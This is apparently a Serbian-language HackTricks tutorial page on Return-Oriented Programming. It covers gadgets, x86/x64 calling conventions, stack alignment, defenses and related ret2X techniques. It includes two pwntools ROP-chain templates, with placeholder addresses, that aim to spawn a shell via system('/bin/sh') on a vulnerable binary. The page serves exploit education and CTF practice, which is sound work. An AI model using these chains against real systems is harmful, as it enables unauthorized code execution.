.. | ||
ret2esp-ret2reg | ||
ret2lib | ||
rop-syscall-execv | ||
srop-sigreturn-oriented-programming | ||
brop-blind-return-oriented-programming.md | ||
README.md | ||
ret2csu.md | ||
ret2dlresolve.md | ||
ret2esp-ret2reg.md | ||
ret2vdso.md | ||
rop-syscall-execv.md | ||
srop-sigreturn-oriented-programming.md |
ROP - Return Oriented Programing
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte Porodicu PEASS, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Return-Oriented Programming (ROP) je napredna tehnika eksploatacije koja se koristi za zaobilaženje sigurnosnih mera poput No-Execute (NX) ili Data Execution Prevention (DEP). Umesto ubacivanja i izvršavanja shell koda, napadač koristi delove koda već prisutne u binarnom fajlu ili u učitanim bibliotekama, poznate kao "gadgeti". Svaki gadget obično završava sa ret
instrukcijom i obavlja malu operaciju, poput premeštanja podataka između registara ili obavljanja aritmetičkih operacija. Spajanjem ovih gadgeta, napadač može konstruisati payload za obavljanje proizvoljnih operacija, efikasno zaobilazeći NX/DEP zaštite.
Kako ROP funkcioniše
- Preuzimanje kontrole toka: Prvo, napadač mora preuzeti kontrolu toka programa, obično iskorišćavanjem prelivanja bafera da bi prepisao sačuvanu adresu povratka na steku.
- Spajanje Gadgeta: Napadač zatim pažljivo bira i spaja gadgete da bi obavio željene akcije. To može uključivati postavljanje argumenata za poziv funkcije, pozivanje funkcije (npr.
system("/bin/sh")
), i rukovanje neophodnim čišćenjem ili dodatnim operacijama. - Izvršavanje Payloada: Kada ranjiva funkcija završi, umesto povratka na legitimnu lokaciju, počinje izvršavanje lanca gadgeta.
Alati
Obično, gadgeti se mogu pronaći korišćenjem ROPgadget, ropper ili direktno iz pwntools (ROP).
ROP Lanac u x86 Primeru
x86 (32-bit) Konvencije pozivanja
- cdecl: Pozivaoc čisti stek. Argumenti funkcije se guraju na stek u obrnutom redosledu (desno-levu). Argumenti se guraju na stek s desna na levo.
- stdcall: Slično cdecl-u, ali callee je odgovoran za čišćenje steka.
Pronalaženje Gadgeta
Prvo, pretpostavimo da smo identifikovali potrebne gadgete unutar binarnog fajla ili njegovih učitanih biblioteka. Gadgeti koji nas zanimaju su:
pop eax; ret
: Ovaj gadget skida vrh vrednosti sa steka u registarEAX
i zatim se vraća, omogućavajući nam kontrolu nadEAX
.pop ebx; ret
: Slično kao prethodno, ali za registarEBX
, omogućavajući kontrolu nadEBX
.mov [ebx], eax; ret
: Premešta vrednost izEAX
u memorijsku lokaciju na koju pokazujeEBX
i zatim se vraća. Ovo se često naziva write-what-where gadget.- Dodatno, imamo adresu funkcije
system()
dostupnu.
ROP Lanac
Koristeći pwntools, pripremamo stek za izvršavanje ROP lanca kako sledi sa ciljem izvršavanja system('/bin/sh')
, obratite pažnju kako lanac počinje sa:
ret
instrukcijom radi poravnanja (opciono)- Adresa funkcije
system
(pretpostavljajući isključenu ASLR i poznatu libc, više informacija u Ret2lib) - Rezervisano mesto za adresu povratka iz
system()
- Adresa stringa
"/bin/sh"
(parametar za funkciju system)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
Primer ROP lanac u x64
x64 (64-bit) Konvencije pozivanja
- Koristi System V AMD64 ABI konvenciju pozivanja na sistemima sličnim Unix-u, gde se prva šest celobrojnih ili pokazivačkih argumenata prosleđuje u registre
RDI
,RSI
,RDX
,RCX
,R8
, iR9
. Dodatni argumenti se prosleđuju na steku. Povratna vrednost se smešta uRAX
. - Windows x64 konvencija pozivanja koristi
RCX
,RDX
,R8
, iR9
za prva četiri celobrojna ili pokazivačka argumenta, sa dodatnim argumentima prosleđenim na steku. Povratna vrednost se smešta uRAX
. - Registri: 64-bitni registri uključuju
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
, iR8
doR15
.
Pronalaženje Gadgeta
Za našu svrhu, fokusiraćemo se na gedžete koji će nam omogućiti postavljanje registra RDI (kako bismo prosledili string "/bin/sh" kao argument funkciji system()) i zatim pozvali funkciju system(). Pretpostavićemo da smo identifikovali sledeće gedžete:
- pop rdi; ret: Skida vrh vrednosti sa steka u registar RDI i zatim se vraća. Bitan za postavljanje argumenta za system().
- ret: Jednostavan povratak, koristan za poravnanje steka u nekim scenarijima.
I znamo adresu funkcije system().
ROP Lanac
U nastavku je primer korišćenja pwntools za postavljanje i izvršavanje ROP lanca sa ciljem izvršavanja system('/bin/sh') na x64:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
U ovom primeru:
- Koristimo
pop rdi; ret
gedžet da postavimoRDI
na adresu"/bin/sh"
. - Direktno skačemo na
system()
nakon postavljanjaRDI
, sa adresom system() funkcije u lancu. ret_gadget
se koristi za poravnanje ako ciljano okruženje zahteva, što je češće u x64 da bi se osiguralo pravilno poravnanje steka pre pozivanja funkcija.
Poravnanje Staka
x86-64 ABI osigurava da je stek poravnan na 16 bajtova kada se izvrši call instrukcija. LIBC, radi optimizacije performansi, koristi SSE instrukcije (kao što su movaps) koje zahtevaju ovo poravnanje. Ako stek nije pravilno poravnan (što znači da RSP nije višekratnik od 16), pozivi funkcija poput system će neuspešno završiti u ROP lancu. Da biste to rešili, jednostavno dodajte ret gedžet pre pozivanja system u vašem ROP lancu.
x86 vs x64 glavna razlika
{% hint style="success" %} Pošto x64 koristi registre za prvih nekoliko argumenata, često zahteva manje gedžeta od x86 za jednostavne pozive funkcija, ali pronalaženje i povezivanje pravih gedžeta može biti složenije zbog povećanog broja registara i većeg adresnog prostora. Povećani broj registara i veći adresni prostor u x64 arhitekturi pružaju kako mogućnosti, tako i izazove za razvoj eksploatacija, posebno u kontekstu Return-Oriented Programming (ROP). {% endhint %}
ROP lanac u ARM64 Primeru
ARM64 Osnove & Konvencije pozivanja
Proverite sledeću stranicu za ove informacije:
{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}
Zaštite Protiv ROP
- ASLR & PIE: Ove zaštite otežavaju korišćenje ROP jer se adrese gedžeta menjaju između izvršavanja.
- Stack Canaries: U slučaju BOF-a, potrebno je zaobići čuvare steka kako bi se prepisali povratni pokazivači za zloupotrebu ROP lanca.
- Nedostatak Gedžeta: Ako nema dovoljno gedžeta, neće biti moguće generisati ROP lanac.
Tehnike Bazirane na ROP-u
Primetite da je ROP samo tehnika za izvršavanje proizvoljnog koda. Bazirano na ROP-u, razvijeno je mnogo Ret2XXX tehnika:
- Ret2lib: Koristi ROP za pozivanje proizvoljnih funkcija iz učitane biblioteke sa proizvoljnim parametrima (obično nešto poput
system('/bin/sh')
.
{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}
- Ret2Syscall: Koristi ROP za pripremu poziva syscall-a, npr.
execve
, i čini ga da izvrši proizvoljne komande.
{% content-ref url="rop-syscall-execv/" %} rop-syscall-execv {% endcontent-ref %}
- EBP2Ret & EBP Chaining: Prvi će zloupotrebiti EBP umesto EIP-a za kontrolu toka, a drugi je sličan Ret2lib-u, ali u ovom slučaju tok je kontrolisan uglavnom sa EBP adresama (mada je takođe potrebno kontrolisati i EIP).
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}
Ostali Primeri & Reference
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bita, Pie i nx omogućeno, bez čuvara, prepisivanje RIP-a sa adresom
vsyscall
sa jedinim ciljem da se vrati na sledeću adresu na steku koja će biti delimično prepisivanje adrese kako bi se dobio deo funkcije koji otkriva zastavu - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, bez ASLR-a, ROP gedžet za omogućavanje izvršavanja stekova i skakanje na shellcode u steku
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
- Ako želite da vidite vašu kompaniju reklamiranu na HackTricks-u ili preuzmete HackTricks u PDF formatu proverite PLANOVE ZA PRIJAVU!
- Nabavite zvanični PEASS & HackTricks swag
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Pridružite se 💬 Discord grupi ili telegram grupi ili nas pratite na Twitteru 🐦 @hacktricks_live.
- Podelite svoje hakovanje trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.